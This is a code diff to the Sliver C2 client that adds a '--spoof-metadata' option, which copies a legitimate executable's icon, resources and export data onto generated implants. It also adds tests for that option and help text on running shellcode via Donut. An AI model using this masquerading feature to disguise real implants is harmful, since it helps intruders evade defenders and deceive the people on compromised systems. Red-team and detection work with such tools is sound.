@@ -0,0 +1,51 @@
package generate
import (
"testing"
"github.com/bishopfox/sliver/client/console"
consts "github.com/bishopfox/sliver/client/constants"
"github.com/spf13/cobra"
)
func TestGenerateSaveFlagCompletionRegistered(t *testing.T) {
cmds := Commands(&console.SliverClient{})
generateCmd := commandByUse(cmds, consts.GenerateStr)
if generateCmd == nil {
t.Fatalf("missing %q command", consts.GenerateStr)
}
assertFlagHasDefaultFileCompletion(t, generateCmd, "save")
beaconCmd := commandByUse(generateCmd.Commands(), consts.BeaconStr)
if beaconCmd == nil {
t.Fatalf("missing %q subcommand", consts.BeaconStr)
}
assertFlagHasDefaultFileCompletion(t, beaconCmd, "save")
}
func assertFlagHasDefaultFileCompletion(t *testing.T, cmd *cobra.Command, flag string) {
t.Helper()
completionFn, ok := cmd.GetFlagCompletionFunc(flag)
if !ok {
t.Fatalf("%q missing %q flag completion func", cmd.Use, flag)
}
values, directive := completionFn(cmd, nil, "")
if len(values) != 0 {
t.Fatalf("%q %q completion should return no explicit values, got %d", cmd.Use, flag, len(values))
}
if directive != cobra.ShellCompDirectiveDefault {
t.Fatalf("%q %q completion directive mismatch: got=%v want=%v", cmd.Use, flag, directive, cobra.ShellCompDirectiveDefault)
}
}
func commandByUse(cmds []*cobra.Command, use string) *cobra.Command {
for _, cmd := range cmds {
if cmd.Use == use {
return cmd
}
}
return nil
}
+8 -3
View File
@@ -41,8 +41,13 @@ func GenerateBeaconCmd(cmd *cobra.Command, con *console.SliverClient, args []str
if config == nil {
return
}
spoofMetadata, err := parseSpoofMetadataFlag(cmd, config)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
config.IsBeacon = true
err := parseBeaconFlags(cmd, config)
err = parseBeaconFlags(cmd, config)
if err != nil {
con.PrintErrorf("%s\n", err)
return
@@ -52,9 +57,9 @@ func GenerateBeaconCmd(cmd *cobra.Command, con *console.SliverClient, args []str
save, _ = os.Getwd()
}
if external, _ := cmd.Flags().GetBool("external-builder"); !external {
compile(name, config, save, con)
compile(name, config, spoofMetadata, save, con)
} else {
externalBuild(name, config, save, con)
externalBuild(name, config, spoofMetadata, save, con)
}
}
+497 -6
View File
@@ -19,7 +19,9 @@ package generate
*/
import (
"bytes"
"context"
"encoding/base64"
"errors"
"fmt"
"net"
@@ -33,6 +35,8 @@ import (
"strings"
"time"
"github.com/Binject/debug/pe"
"github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/client/console"
consts "github.com/bishopfox/sliver/client/constants"
"github.com/bishopfox/sliver/client/forms"
@@ -90,6 +94,11 @@ var (
ErrNoSelection = errors.New("no selection")
)
const (
spoofMetadataFlagName = "spoof-metadata"
imageFileDLLCharacteristic = 0x2000
)
// GenerateCmd - The main command used to generate implant binaries
func GenerateCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
if shouldRunGenerateForm(cmd, con, args) {
@@ -112,14 +121,19 @@ func GenerateCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
if config == nil {
return
}
spoofMetadata, err := parseSpoofMetadataFlag(cmd, config)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
save, _ := cmd.Flags().GetString("save")
if save == "" {
save, _ = os.Getwd()
}
if external, _ := cmd.Flags().GetBool("external-builder"); !external {
compile(name, config, save, con)
compile(name, config, spoofMetadata, save, con)
} else {
_, err := externalBuild(name, config, save, con)
_, err := externalBuild(name, config, spoofMetadata, save, con)
if err != nil {
switch err {
case ErrNoExternalBuilder:
@@ -518,6 +532,315 @@ func parseCompileFlags(cmd *cobra.Command, con *console.SliverClient) (string, *
return name, config
}
func parseSpoofMetadataFlag(cmd *cobra.Command, config *clientpb.ImplantConfig) (*clientpb.SpoofMetadataConfig, error) {
if cmd == nil {
return nil, nil
}
spoofMetadataFlag := cmd.Flags().Lookup(spoofMetadataFlagName)
if spoofMetadataFlag == nil || !spoofMetadataFlag.Changed {
return nil, nil
}
spoofMetadataValue := ""
if spoofMetadataFlag.Value != nil {
spoofMetadataValue = strings.TrimSpace(spoofMetadataFlag.Value.String())
}
switch strings.ToLower(spoofMetadataValue) {
case "false":
if len(cmd.Flags().Args()) > 0 {
return nil, fmt.Errorf("--%s=false does not accept a donor path argument", spoofMetadataFlagName)
}
return nil, nil
case "", "true":
pathArg, err := spoofMetadataPathArg(cmd)
if err != nil {
return nil, err
}
if pathArg == "" {
return parseSpoofMetadataFromConfigFile()
}
return parseSpoofMetadataFromPath(pathArg, config)
default:
if len(cmd.Flags().Args()) > 0 {
return nil, fmt.Errorf("--%s accepts a donor path from either the flag value or positional argument, not both", spoofMetadataFlagName)
}
return parseSpoofMetadataFromPath(spoofMetadataValue, config)
}
}
func spoofMetadataPathArg(cmd *cobra.Command) (string, error) {
if cmd == nil {
return "", nil
}
switch args := cmd.Flags().Args(); len(args) {
case 0:
return "", nil
case 1:
return strings.TrimSpace(args[0]), nil
default:
return "", fmt.Errorf("--%s accepts at most one donor path argument", spoofMetadataFlagName)
}
}
func parseSpoofMetadataFromConfigFile() (*clientpb.SpoofMetadataConfig, error) {
configPath := assets.SpoofMetadataConfigPath()
config, err := assets.LoadSpoofMetadataConfig()
if err != nil {
return nil, fmt.Errorf("failed to load spoof metadata config %s: %w", configPath, err)
}
spoofMetadata, err := spoofMetadataConfigToProtobuf(config)
if err != nil {
return nil, fmt.Errorf("invalid spoof metadata config %s: %w", configPath, err)
}
return spoofMetadata, nil
}
func parseSpoofMetadataFromPath(pathValue string, config *clientpb.ImplantConfig) (*clientpb.SpoofMetadataConfig, error) {
if config == nil {
return nil, errors.New("missing implant configuration for spoof metadata validation")
}
pathValue = expandPath(pathValue)
sourceData, err := os.ReadFile(pathValue)
if err != nil {
return nil, fmt.Errorf("failed to read spoof metadata source path %s: %w", pathValue, err)
}
if err := validateSpoofMetadataSourceForTarget(config, pathValue, sourceData); err != nil {
return nil, err
}
return &clientpb.SpoofMetadataConfig{
PE: &clientpb.PESpoofMetadataConfig{
Source: &clientpb.SpoofMetadataFile{
Name: filepath.Base(pathValue),
Data: sourceData,
},
},
}, nil
}
func validateSpoofMetadataSourceForTarget(config *clientpb.ImplantConfig, sourcePath string, sourceData []byte) error {
if config == nil {
return errors.New("missing implant configuration for spoof metadata validation")
}
if strings.ToLower(config.GetGOOS()) != "windows" {
return fmt.Errorf("--%s path source currently supports only windows PE targets (got %s/%s)", spoofMetadataFlagName, config.GetGOOS(), config.GetGOARCH())
}
switch config.GetFormat() {
case clientpb.OutputFormat_EXECUTABLE, clientpb.OutputFormat_SERVICE, clientpb.OutputFormat_SHARED_LIB:
default:
return fmt.Errorf("--%s path source requires an executable/service/shared target format (got %s)", spoofMetadataFlagName, nameOfOutputFormat(config.GetFormat()))
}
peFile, err := pe.NewFile(bytes.NewReader(sourceData))
if err != nil {
return fmt.Errorf("spoof metadata source %s is not a valid PE: %w", sourcePath, err)
}
defer peFile.Close()
expectedMachine, err := expectedPEMachineForGoArch(config.GetGOARCH())
if err != nil {
return err
}
if peFile.FileHeader.Machine != expectedMachine {
return fmt.Errorf(
"spoof metadata source %s has machine %s, expected %s for target arch %s",
sourcePath,
peMachineName(peFile.FileHeader.Machine),
peMachineName(expectedMachine),
config.GetGOARCH(),
)
}
isDLL := peFile.FileHeader.Characteristics&imageFileDLLCharacteristic != 0
if config.GetFormat() == clientpb.OutputFormat_SHARED_LIB && !isDLL {
return fmt.Errorf("spoof metadata source %s must be a DLL for shared target format", sourcePath)
}
if (config.GetFormat() == clientpb.OutputFormat_EXECUTABLE || config.GetFormat() == clientpb.OutputFormat_SERVICE) && isDLL {
return fmt.Errorf("spoof metadata source %s appears to be a DLL but target format is %s", sourcePath, nameOfOutputFormat(config.GetFormat()))
}
return nil
}
func expectedPEMachineForGoArch(goarch string) (uint16, error) {
switch strings.ToLower(strings.TrimSpace(goarch)) {
case "amd64", "x64":
return pe.IMAGE_FILE_MACHINE_AMD64, nil
case "386", "x86", "i386":
return pe.IMAGE_FILE_MACHINE_I386, nil
case "arm64", "aarch64":
return pe.IMAGE_FILE_MACHINE_ARM64, nil
default:
return 0, fmt.Errorf("unsupported windows architecture for spoof metadata source validation: %s", goarch)
}
}
func peMachineName(machine uint16) string {
switch machine {
case pe.IMAGE_FILE_MACHINE_AMD64:
return "amd64"
case pe.IMAGE_FILE_MACHINE_I386:
return "386"
case pe.IMAGE_FILE_MACHINE_ARM64:
return "arm64"
default:
return fmt.Sprintf("0x%x", machine)
}
}
func spoofMetadataConfigToProtobuf(config *assets.SpoofMetadataConfig) (*clientpb.SpoofMetadataConfig, error) {
if config == nil {
return nil, errors.New("missing spoof metadata configuration")
}
spoofMetadata := &clientpb.SpoofMetadataConfig{}
if config.PE != nil {
source, err := resolveSpoofMetadataDataSource("pe.source", config.PE.Source)
if err != nil {
return nil, err
}
icon, err := resolveSpoofMetadataDataSource("pe.icon", config.PE.Icon)
if err != nil {
return nil, err
}
spoofMetadata.PE = &clientpb.PESpoofMetadataConfig{
Source: source,
Icon: icon,
ResourceDirectory: imageResourceDirectoryToProtobuf(config.PE.ResourceDirectory),
ResourceDirectoryEntries: imageResourceDirectoryEntriesToProtobuf(config.PE.ResourceDirectoryEntries),
ResourceDataEntries: imageResourceDataEntriesToProtobuf(config.PE.ResourceDataEntries),
ExportDirectory: imageExportDirectoryToProtobuf(config.PE.ExportDirectory),
}
}
if spoofMetadata.GetPE() == nil {
return nil, errors.New("no supported executable metadata configuration found")
}
if spoofMetadata.GetPE().GetSource() == nil || len(spoofMetadata.GetPE().GetSource().GetData()) == 0 {
return nil, errors.New("pe.source requires either path or base64 content")
}
return spoofMetadata, nil
}
func resolveSpoofMetadataDataSource(name string, source *assets.SpoofMetadataDataSource) (*clientpb.SpoofMetadataFile, error) {
if source == nil {
return nil, nil
}
pathValue := strings.TrimSpace(source.Path)
base64Value := strings.TrimSpace(source.Base64)
if pathValue != "" && base64Value != "" {
return nil, fmt.Errorf("%s cannot set both path and base64", name)
}
if pathValue == "" && base64Value == "" {
return nil, nil
}
var (
data []byte
err error
)
fileName := strings.TrimSpace(source.Name)
if pathValue != "" {
pathValue = expandPath(pathValue)
data, err = os.ReadFile(pathValue)
if err != nil {
return nil, fmt.Errorf("%s failed to read path %s: %w", name, pathValue, err)
}
if fileName == "" {
fileName = filepath.Base(pathValue)
}
} else {
data, err = base64.StdEncoding.DecodeString(base64Value)
if err != nil {
data, err = base64.RawStdEncoding.DecodeString(base64Value)
if err != nil {
return nil, fmt.Errorf("%s has invalid base64 data: %w", name, err)
}
}
if fileName == "" {
fileName = "inline-data"
}
}
return &clientpb.SpoofMetadataFile{
Name: fileName,
Data: data,
}, nil
}
func imageResourceDirectoryToProtobuf(src *assets.ImageResourceDirectory) *clientpb.IMAGE_RESOURCE_DIRECTORY {
if src == nil {
return nil
}
return &clientpb.IMAGE_RESOURCE_DIRECTORY{
Characteristics: src.Characteristics,
TimeDateStamp: src.TimeDateStamp,
MajorVersion: src.MajorVersion,
MinorVersion: src.MinorVersion,
NumberOfNamedEntries: src.NumberOfNamedEntries,
NumberOfIdEntries: src.NumberOfIDEntries,
}
}
func imageResourceDirectoryEntriesToProtobuf(src []*assets.ImageResourceDirectoryEntry) []*clientpb.IMAGE_RESOURCE_DIRECTORY_ENTRY {
if len(src) == 0 {
return nil
}
out := make([]*clientpb.IMAGE_RESOURCE_DIRECTORY_ENTRY, 0, len(src))
for _, entry := range src {
if entry == nil {
continue
}
out = append(out, &clientpb.IMAGE_RESOURCE_DIRECTORY_ENTRY{
Name: entry.Name,
OffsetToData: entry.OffsetToData,
})
}
return out
}
func imageResourceDataEntriesToProtobuf(src []*assets.ImageResourceDataEntry) []*clientpb.IMAGE_RESOURCE_DATA_ENTRY {
if len(src) == 0 {
return nil
}
out := make([]*clientpb.IMAGE_RESOURCE_DATA_ENTRY, 0, len(src))
for _, entry := range src {
if entry == nil {
continue
}
out = append(out, &clientpb.IMAGE_RESOURCE_DATA_ENTRY{
OffsetToData: entry.OffsetToData,
Size: entry.Size,
CodePage: entry.CodePage,
Reserved: entry.Reserved,
})
}
return out
}
func imageExportDirectoryToProtobuf(src *assets.ImageExportDirectory) *clientpb.IMAGE_EXPORT_DIRECTORY {
if src == nil {
return nil
}
return &clientpb.IMAGE_EXPORT_DIRECTORY{
Characteristics: src.Characteristics,
TimeDateStamp: src.TimeDateStamp,
MajorVersion: src.MajorVersion,
MinorVersion: src.MinorVersion,
Name: src.Name,
Base: src.Base,
NumberOfFunctions: src.NumberOfFunctions,
NumberOfNames: src.NumberOfNames,
AddressOfFunctions: src.AddressOfFunctions,
AddressOfNames: src.AddressOfNames,
AddressOfNameOrdinals: src.AddressOfNameOrdinals,
}
}
func parseShellcodeFlags(cmd *cobra.Command, targetOS string, configFormat clientpb.OutputFormat, con *console.SliverClient) (*clientpb.ShellcodeConfig, error) {
// Prefer the new `--shellcode-*` flags. Fall back to hidden deprecated `--donut-*` flags for compatibility.
shellcodeEntropy, _ := cmd.Flags().GetUint32("shellcode-entropy")
@@ -1146,7 +1469,150 @@ func ParseTCPPivotc2(args string) ([]*clientpb.ImplantC2, error) {
return c2s, nil
}
func externalBuild(name string, config *clientpb.ImplantConfig, save string, con *console.SliverClient) (*commonpb.File, error) {
func applySpoofMetadataToBuild(implantBuildID string, implantName string, spoofMetadata *clientpb.SpoofMetadataConfig, con *console.SliverClient) error {
if spoofMetadata == nil {
return nil
}
req := &clientpb.GenerateSpoofMetadataReq{
SpoofMetadata: spoofMetadata,
}
if buildID := strings.TrimSpace(implantBuildID); buildID != "" {
req.ImplantBuildID = buildID
} else if buildName := strings.TrimSpace(implantName); buildName != "" {
req.ImplantName = buildName
}
if req.GetImplantBuildID() == "" && req.GetImplantName() == "" {
return errors.New("unable to determine build selector for spoof metadata")
}
printSpoofMetadataSummary(spoofMetadata, con)
con.PrintInfof("Applying spoof metadata to %s ... ", spoofMetadataBuildSelectorDescription(req))
_, err := con.Rpc.GenerateSpoofMetadata(context.Background(), req)
if err != nil {
con.Printf("failed\n")
return err
}
con.Printf("done\n")
return nil
}
func printSpoofMetadataSummary(spoofMetadata *clientpb.SpoofMetadataConfig, con *console.SliverClient) {
if spoofMetadata == nil || con == nil {
return
}
peMetadata := spoofMetadata.GetPE()
if peMetadata == nil {
return
}
sourceName := "<unset>"
sourceSize := 0
if source := peMetadata.GetSource(); source != nil {
sourceName = strings.TrimSpace(source.GetName())
if sourceName == "" {
sourceName = "inline-data"
}
sourceSize = len(source.GetData())
}
iconSummary := "none"
if icon := peMetadata.GetIcon(); icon != nil && len(icon.GetData()) > 0 {
iconName := strings.TrimSpace(icon.GetName())
if iconName == "" {
iconName = "inline-data"
}
iconSummary = fmt.Sprintf("%s (%d bytes)", iconName, len(icon.GetData()))
}
overrideLabels := []string{}
if peMetadata.GetResourceDirectory() != nil {
overrideLabels = append(overrideLabels, "resource-directory")
}
if len(peMetadata.GetResourceDirectoryEntries()) > 0 {
overrideLabels = append(overrideLabels, fmt.Sprintf("resource-entries(%d)", len(peMetadata.GetResourceDirectoryEntries())))
}
if len(peMetadata.GetResourceDataEntries()) > 0 {
overrideLabels = append(overrideLabels, fmt.Sprintf("resource-data-entries(%d)", len(peMetadata.GetResourceDataEntries())))
}
if peMetadata.GetExportDirectory() != nil {
overrideLabels = append(overrideLabels, "export-directory")
}
overridesSummary := "none"
if len(overrideLabels) > 0 {
overridesSummary = strings.Join(overrideLabels, ", ")
}
con.PrintInfof("%s\n", console.StyleBold.Render("Spoof Metadata Details:"))
con.PrintInfof(" Source: %s (%d bytes)\n", sourceName, sourceSize)
con.PrintInfof(" Icon: %s\n", iconSummary)
con.PrintInfof(" Overrides: %s\n", overridesSummary)
}
func spoofMetadataBuildSelectorDescription(req *clientpb.GenerateSpoofMetadataReq) string {
if req == nil {
return "build"
}
if buildID := strings.TrimSpace(req.GetImplantBuildID()); buildID != "" {
return fmt.Sprintf("build id %s", buildID)
}
if buildName := strings.TrimSpace(req.GetImplantName()); buildName != "" {
return fmt.Sprintf("build name %s", buildName)
}
return "build"
}
func requiresWindowsExecutableSuffix(config *clientpb.ImplantConfig) bool {
if config == nil || !strings.EqualFold(config.GetGOOS(), "windows") {
return false
}
switch config.GetFormat() {
case clientpb.OutputFormat_EXECUTABLE, clientpb.OutputFormat_SERVICE:
return true
default:
return false
}
}
func ensureOutputPathSuffix(pathValue string, config *clientpb.ImplantConfig) string {
if pathValue == "" || !requiresWindowsExecutableSuffix(config) {
return pathValue
}
if strings.HasSuffix(strings.ToLower(pathValue), ".exe") {
return pathValue
}
return pathValue + ".exe"
}
func outputSavePath(save string, defaultName string, config *clientpb.ImplantConfig, con *console.SliverClient) (string, error) {
defaultName = ensureOutputPathSuffix(defaultName, config)
saveTo, err := saveLocation(save, defaultName, con)
if err != nil {
return "", err
}
adjustedPath := ensureOutputPathSuffix(saveTo, config)
if adjustedPath == saveTo {
return saveTo, nil
}
if info, err := os.Stat(adjustedPath); err == nil && !info.IsDir() {
var confirm bool
_ = forms.Confirm("Overwrite existing file?", &confirm)
if !confirm {
return "", errors.New("file already exists")
}
} else if err != nil && !os.IsNotExist(err) {
return "", err
}
if con != nil {
con.PrintInfof("Adjusted output filename to %s for Windows executable format\n", adjustedPath)
}
return adjustedPath, nil
}
func externalBuild(name string, config *clientpb.ImplantConfig, spoofMetadata *clientpb.SpoofMetadataConfig, save string, con *console.SliverClient) (*commonpb.File, error) {
potentialBuilders, err := findExternalBuilders(config, con)
if err != nil {
return nil, err
@@ -1246,6 +1712,12 @@ func externalBuild(name string, config *clientpb.ImplantConfig, save string, con
elapsed := time.Since(start)
con.PrintInfof("Build completed in %s\n", elapsed.Round(time.Second))
if spoofMetadata != nil {
if err := applySpoofMetadataToBuild("", name, spoofMetadata, con); err != nil {
return nil, err
}
}
generated, err := con.Rpc.Regenerate(context.Background(), &clientpb.RegenerateReq{
ImplantName: name,
})
@@ -1300,7 +1772,7 @@ func externalBuild(name string, config *clientpb.ImplantConfig, save string, con
}
}
saveTo, err := saveLocation(save, filepath.Base(generated.File.Name), con)
saveTo, err := outputSavePath(save, filepath.Base(generated.File.Name), config, con)
if err != nil {
return nil, err
}
@@ -1315,7 +1787,7 @@ func externalBuild(name string, config *clientpb.ImplantConfig, save string, con
return nil, nil
}
func compile(name string, config *clientpb.ImplantConfig, save string, con *console.SliverClient) (*commonpb.File, error) {
func compile(name string, config *clientpb.ImplantConfig, spoofMetadata *clientpb.SpoofMetadataConfig, save string, con *console.SliverClient) (*commonpb.File, error) {
if config.IsBeacon {
interval := time.Duration(config.BeaconInterval)
con.PrintInfof("Generating new %s/%s beacon implant binary (%v)\n", config.GOOS, config.GOARCH, interval)
@@ -1343,6 +1815,25 @@ func compile(name string, config *clientpb.ImplantConfig, save string, con *cons
return nil, err
}
if spoofMetadata != nil {
if err := applySpoofMetadataToBuild(generated.GetImplantBuildID(), generated.GetImplantName(), spoofMetadata, con); err != nil {
con.PrintErrorf("%s\n", err)
return nil, err
}
implantName := generated.GetImplantName()
if implantName == "" {
implantName = name
}
generated, err = con.Rpc.Regenerate(context.Background(), &clientpb.RegenerateReq{
ImplantName: implantName,
})
if err != nil {
con.PrintErrorf("%s\n", err)
return nil, err
}
}
elapsed := time.Since(start)
con.PrintInfof("Build completed in %s\n", elapsed.Round(time.Second))
if len(generated.File.Data) == 0 {
@@ -1399,7 +1890,7 @@ func compile(name string, config *clientpb.ImplantConfig, save string, con *cons
}
}
saveTo, err := saveLocation(save, generated.File.Name, con)
saveTo, err := outputSavePath(save, generated.File.Name, config, con)
if err != nil {
return nil, err
}
+1 -1
View File
@@ -81,7 +81,7 @@ func ProfilesGenerateCmd(cmd *cobra.Command, con *console.SliverClient, args []s
profile.Config.SGNEnabled = encoder == clientpb.ShellcodeEncoder_SHIKATA_GA_NAI
}
}
_, err := compile(implantName, profile.Config, save, con)
_, err := compile(implantName, profile.Config, nil, save, con)
if err != nil {
return
}
@@ -0,0 +1,193 @@
package generate
import (
"encoding/base64"
"os"
"path/filepath"
"runtime"
"strings"
"testing"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/spf13/cobra"
)
func TestParseSpoofMetadataFlagDefaultOff(t *testing.T) {
cmd := newSpoofMetadataTestCommand(t)
config := &clientpb.ImplantConfig{
GOOS: "windows",
GOARCH: "amd64",
Format: clientpb.OutputFormat_EXECUTABLE,
}
spoofMetadata, err := parseSpoofMetadataFlag(cmd, config)
if err != nil {
t.Fatalf("parseSpoofMetadataFlag() unexpected error: %v", err)
}
if spoofMetadata != nil {
t.Fatal("expected spoof metadata to be nil when flag is not set")
}
}
func TestParseSpoofMetadataFlagNoArgUsesConfig(t *testing.T) {
t.Setenv("SLIVER_CLIENT_ROOT_DIR", t.TempDir())
cmd := newSpoofMetadataTestCommand(t)
if err := cmd.ParseFlags([]string{"--" + spoofMetadataFlagName}); err != nil {
t.Fatalf("ParseFlags() error: %v", err)
}
rootDir := os.Getenv("SLIVER_CLIENT_ROOT_DIR")
configPath := filepath.Join(rootDir, "spoof-metadata.yaml")
sourceData := []byte{0x01, 0x02, 0x03}
configData := "pe:\n source:\n name: donor.exe\n base64: " + base64.StdEncoding.EncodeToString(sourceData) + "\n"
if err := os.WriteFile(configPath, []byte(configData), 0o600); err != nil {
t.Fatalf("write spoof metadata config: %v", err)
}
config := &clientpb.ImplantConfig{
GOOS: "windows",
GOARCH: "amd64",
Format: clientpb.OutputFormat_EXECUTABLE,
}
spoofMetadata, err := parseSpoofMetadataFlag(cmd, config)
if err != nil {
t.Fatalf("parseSpoofMetadataFlag() unexpected error: %v", err)
}
if spoofMetadata == nil || spoofMetadata.GetPE() == nil || spoofMetadata.GetPE().GetSource() == nil {
t.Fatal("expected spoof metadata source from config file")
}
if got := spoofMetadata.GetPE().GetSource().GetData(); string(got) != string(sourceData) {
t.Fatalf("source data mismatch: got=%x want=%x", got, sourceData)
}
}
func TestParseSpoofMetadataFlagPathFromPositionalArg(t *testing.T) {
cmd := newSpoofMetadataTestCommand(t)
sourcePath := goPEFixturePath(t, "gcc-amd64-mingw-exec")
if err := cmd.ParseFlags([]string{"--" + spoofMetadataFlagName, sourcePath}); err != nil {
t.Fatalf("ParseFlags() error: %v", err)
}
config := &clientpb.ImplantConfig{
GOOS: "windows",
GOARCH: "amd64",
Format: clientpb.OutputFormat_EXECUTABLE,
}
spoofMetadata, err := parseSpoofMetadataFlag(cmd, config)
if err != nil {
t.Fatalf("parseSpoofMetadataFlag() unexpected error: %v", err)
}
if spoofMetadata == nil || spoofMetadata.GetPE() == nil || spoofMetadata.GetPE().GetSource() == nil {
t.Fatal("expected spoof metadata source from positional path")
}
if spoofMetadata.GetPE().GetSource().GetName() != filepath.Base(sourcePath) {
t.Fatalf("source name mismatch: got=%q want=%q", spoofMetadata.GetPE().GetSource().GetName(), filepath.Base(sourcePath))
}
}
func TestParseSpoofMetadataFlagPathRejectsNonWindowsTarget(t *testing.T) {
cmd := newSpoofMetadataTestCommand(t)
sourcePath := writeTempFile(t, "not-pe.bin", []byte("abc"))
if err := cmd.Flags().Set(spoofMetadataFlagName, sourcePath); err != nil {
t.Fatalf("set flag: %v", err)
}
config := &clientpb.ImplantConfig{
GOOS: "linux",
GOARCH: "amd64",
Format: clientpb.OutputFormat_EXECUTABLE,
}
_, err := parseSpoofMetadataFlag(cmd, config)
if err == nil {
t.Fatal("expected error for non-windows target")
}
if !strings.Contains(err.Error(), "supports only windows PE targets") {
t.Fatalf("unexpected error: %v", err)
}
}
func TestParseSpoofMetadataFlagPathChecksMachine(t *testing.T) {
cmd := newSpoofMetadataTestCommand(t)
sourcePath := goPEFixturePath(t, "gcc-386-mingw-exec")
if err := cmd.Flags().Set(spoofMetadataFlagName, sourcePath); err != nil {
t.Fatalf("set flag: %v", err)
}
config := &clientpb.ImplantConfig{
GOOS: "windows",
GOARCH: "amd64",
Format: clientpb.OutputFormat_EXECUTABLE,
}
_, err := parseSpoofMetadataFlag(cmd, config)
if err == nil {
t.Fatal("expected machine mismatch error")
}
if !strings.Contains(err.Error(), "expected amd64") {
t.Fatalf("unexpected error: %v", err)
}
}
func TestParseSpoofMetadataFlagPathSuccess(t *testing.T) {
cmd := newSpoofMetadataTestCommand(t)
sourcePath := goPEFixturePath(t, "gcc-amd64-mingw-exec")
if err := cmd.Flags().Set(spoofMetadataFlagName, sourcePath); err != nil {
t.Fatalf("set flag: %v", err)
}
config := &clientpb.ImplantConfig{
GOOS: "windows",
GOARCH: "amd64",
Format: clientpb.OutputFormat_EXECUTABLE,
}
spoofMetadata, err := parseSpoofMetadataFlag(cmd, config)
if err != nil {
t.Fatalf("parseSpoofMetadataFlag() unexpected error: %v", err)
}
if spoofMetadata == nil || spoofMetadata.GetPE() == nil || spoofMetadata.GetPE().GetSource() == nil {
t.Fatal("expected spoof metadata source from path")
}
if spoofMetadata.GetPE().GetSource().GetName() != filepath.Base(sourcePath) {
t.Fatalf("source name mismatch: got=%q want=%q", spoofMetadata.GetPE().GetSource().GetName(), filepath.Base(sourcePath))
}
if len(spoofMetadata.GetPE().GetSource().GetData()) == 0 {
t.Fatal("expected non-empty source data")
}
}
func TestSpoofMetadataFlagUsageIsClean(t *testing.T) {
cmd := newSpoofMetadataTestCommand(t)
usage := cmd.Flags().FlagUsages()
if !strings.Contains(usage, "--"+spoofMetadataFlagName) {
t.Fatalf("expected usage to include spoof metadata flag, got: %s", usage)
}
if strings.Contains(usage, "string[=") {
t.Fatalf("unexpected optional-string marker in usage: %s", usage)
}
if strings.Contains(usage, `[="`) {
t.Fatalf("unexpected no-opt default rendering in usage: %s", usage)
}
}
func newSpoofMetadataTestCommand(t *testing.T) *cobra.Command {
t.Helper()
cmd := &cobra.Command{Use: "test"}
bindSpoofMetadataFlag(cmd.Flags())
return cmd
}
func writeTempFile(t *testing.T, name string, data []byte) string {
t.Helper()
path := filepath.Join(t.TempDir(), name)
if err := os.WriteFile(path, data, 0o600); err != nil {
t.Fatalf("write temp file: %v", err)
}
return path
}
func goPEFixturePath(t *testing.T, fixtureName string) string {
t.Helper()
fixturePath := filepath.Join(runtime.GOROOT(), "src", "debug", "pe", "testdata", fixtureName)
if _, err := os.Stat(fixturePath); err != nil {
t.Skipf("missing PE fixture %s: %v", fixturePath, err)
}
return fixturePath
}
@@ -0,0 +1,36 @@
package generate
import "strings"
type spoofMetadataFlagValue struct {
value string
}
func newSpoofMetadataFlagValue() *spoofMetadataFlagValue {
return &spoofMetadataFlagValue{}
}
func (s *spoofMetadataFlagValue) Set(value string) error {
value = strings.TrimSpace(value)
switch strings.ToLower(value) {
case "", "true":
s.value = "true"
case "false":
s.value = "false"
default:
s.value = value
}
return nil
}
func (s *spoofMetadataFlagValue) String() string {
return s.value
}
func (s *spoofMetadataFlagValue) Type() string {
return "bool"
}
func (s *spoofMetadataFlagValue) IsBoolFlag() bool {
return true
}
+7 -5
View File
@@ -24,11 +24,12 @@ package help
import (
"fmt"
"image/color"
"strings"
"charm.land/lipgloss/v2"
consts "github.com/bishopfox/sliver/client/constants"
"github.com/bishopfox/sliver/client/theme"
"github.com/charmbracelet/lipgloss"
)
const (
@@ -436,8 +437,9 @@ On Windows, escaping is disabled. Instead, '\\' is treated as path separator.`
mountHelp = `[[.Bold]]Command:[[.Normal]] mount
[[.Bold]]About:[[.Normal]] Displays information about mounted drives on the system, including mount point, space metrics, and filesystem.`
executeShellcodeHelp = `[[.Bold]]Command:[[.Normal]] execute-shellcode [local path to raw shellcode]
[[.Bold]]About:[[.Normal]] Executes the given shellcode in the implant's process.
executeShellcodeHelp = `[[.Bold]]Command:[[.Normal]] execute-shellcode [local path to raw shellcode or PE]
[[.Bold]]About:[[.Normal]] Executes the given shellcode in the implant's process. On Windows targets, PE input can be
converted with Donut before execution and tuned with [[.Bold]]--shellcode-*[[.Normal]] flags.
[[.Bold]][[.Underline]]++ Shellcode ++[[.Normal]]
Shellcode files should be binary encoded, you can generate Sliver shellcode files with the generate command:
@@ -1432,14 +1434,14 @@ type helpStyleState struct {
bold bool
underline bool
fgSet bool
fg lipgloss.Color
fg color.Color
}
func (s *helpStyleState) reset() {
s.bold = false
s.underline = false
s.fgSet = false
s.fg = ""
s.fg = nil
}
func (s *helpStyleState) apply(token string) bool {
+54 -44
View File
@@ -5,10 +5,10 @@ import (
"strconv"
"strings"
tea "charm.land/bubbletea/v2"
"charm.land/lipgloss/v2"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/util"
tea "github.com/charmbracelet/bubbletea"
"github.com/charmbracelet/lipgloss"
"golang.org/x/term"
)
@@ -62,9 +62,12 @@ type editorModel struct {
}
var (
cursorStyle = lipgloss.NewStyle().Reverse(true)
statusStyle = lipgloss.NewStyle().Reverse(true)
lineStyle = lipgloss.NewStyle()
lineStyle = lipgloss.NewStyle()
)
const (
ansiReverseOn = "\x1b[7m"
ansiReverseOff = "\x1b[0m"
)
func modifiedStyle() lipgloss.Style {
@@ -72,11 +75,6 @@ func modifiedStyle() lipgloss.Style {
return console.StyleWarning
}
func modifiedCursorStyle() lipgloss.Style {
// Read from the global console theme so theme.yaml changes are reflected.
return console.StyleWarning.Copy().Reverse(true)
}
func newEditorModel(data []byte, filename string, offset int) *editorModel {
copyData := append([]byte(nil), data...)
model := &editorModel{
@@ -114,30 +112,31 @@ func (m *editorModel) Update(msg tea.Msg) (tea.Model, tea.Cmd) {
m.height = msg.Height
m.ensureCursorVisible()
return m, nil
case tea.KeyMsg:
case tea.KeyPressMsg:
if m.clearMessage {
m.message = ""
m.clearMessage = false
}
if msg.Type == tea.KeyCtrlC {
key := msg.Key()
if key.Mod.Contains(tea.ModCtrl) && key.Code == 'c' {
m.action = actionQuit
return m, tea.Quit
}
switch m.mode {
case modeCommand:
return m.handleCommand(msg)
